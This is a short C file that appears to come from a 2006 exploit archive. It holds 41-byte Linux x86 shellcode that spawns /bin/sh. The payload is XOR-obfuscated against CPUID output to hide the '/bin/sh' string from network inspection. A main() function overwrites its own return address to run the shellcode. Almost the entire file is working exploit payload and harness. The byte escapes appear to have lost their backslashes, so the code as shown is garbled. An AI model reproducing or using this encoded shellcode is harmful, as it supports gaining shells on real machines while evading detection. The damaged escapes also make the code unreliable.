/*
 * (linux/x86) execve("/bin/sh", ["/bin/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes
 *
 * The idea behind this shellcode is to use a *weak* pre-shared secret between the attacker and
 * the attacked machine. So if a 3rd party side would try to run this shellcode and would produce 
 * a different CPUID output (e.g. different arch) the shellcode won't work. In addition this also
 * prevents from having the '/bin/sh' string visible on the wire.
 *
 * The shellcode key is (0x6c65746e, 'letn') and expected to be in %ecx register after CPUID
 * 
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x31xc0"              // xor %eax,%eax 
	"x0fxa2"              // cpuid 
	"x51"                  // push %ecx 
	"x68xe7x95xa8xec"  // push $0xeca895e7 
	"x68xdex7fx37x3f"  // push $0x3f377fde 
	"x68x07x1axecx8f"  // push $0x8fec1a07 
	"x68x6ex1cx4ax0e"  // push $0x0e4a1c6e 
	"x68x06x5bx16x04"  // push $0x04165b06 

	//
	// <_unpack_loop>:
	//

	"x31x0cx24"          // xor %ecx,(%esp) 
	"x5a"                  // pop %edx 
	"x75xfa"              // jne <_unpack_loop> 
	"x83xecx18"          // sub $0x18,%esp 
	"x54"                  // push %esp 
	"xc3";                 // ret 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-25]